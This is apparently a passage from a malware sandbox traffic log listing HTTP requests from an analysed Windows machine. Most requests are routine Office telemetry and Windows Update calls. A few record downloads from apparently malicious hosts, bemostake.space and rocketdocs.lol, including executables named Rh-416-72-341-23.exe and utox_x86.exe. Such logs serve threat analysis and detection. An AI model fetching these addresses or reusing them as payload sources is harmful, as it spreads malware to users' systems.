Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /test.txt HTTP/1.1Host: 1h982d.bemostake.spaceConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /test/ast21/g341g43134g/2245h1234/f21f2123/Rh-416-72-341-23.exe HTTP/1.1Host: bemostake.spaceConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /utox_x86.exe HTTP/1.1Host: rocketdocs.lolConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=UU6vZgkzccoB6vM&MD=LgcgFu8w HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
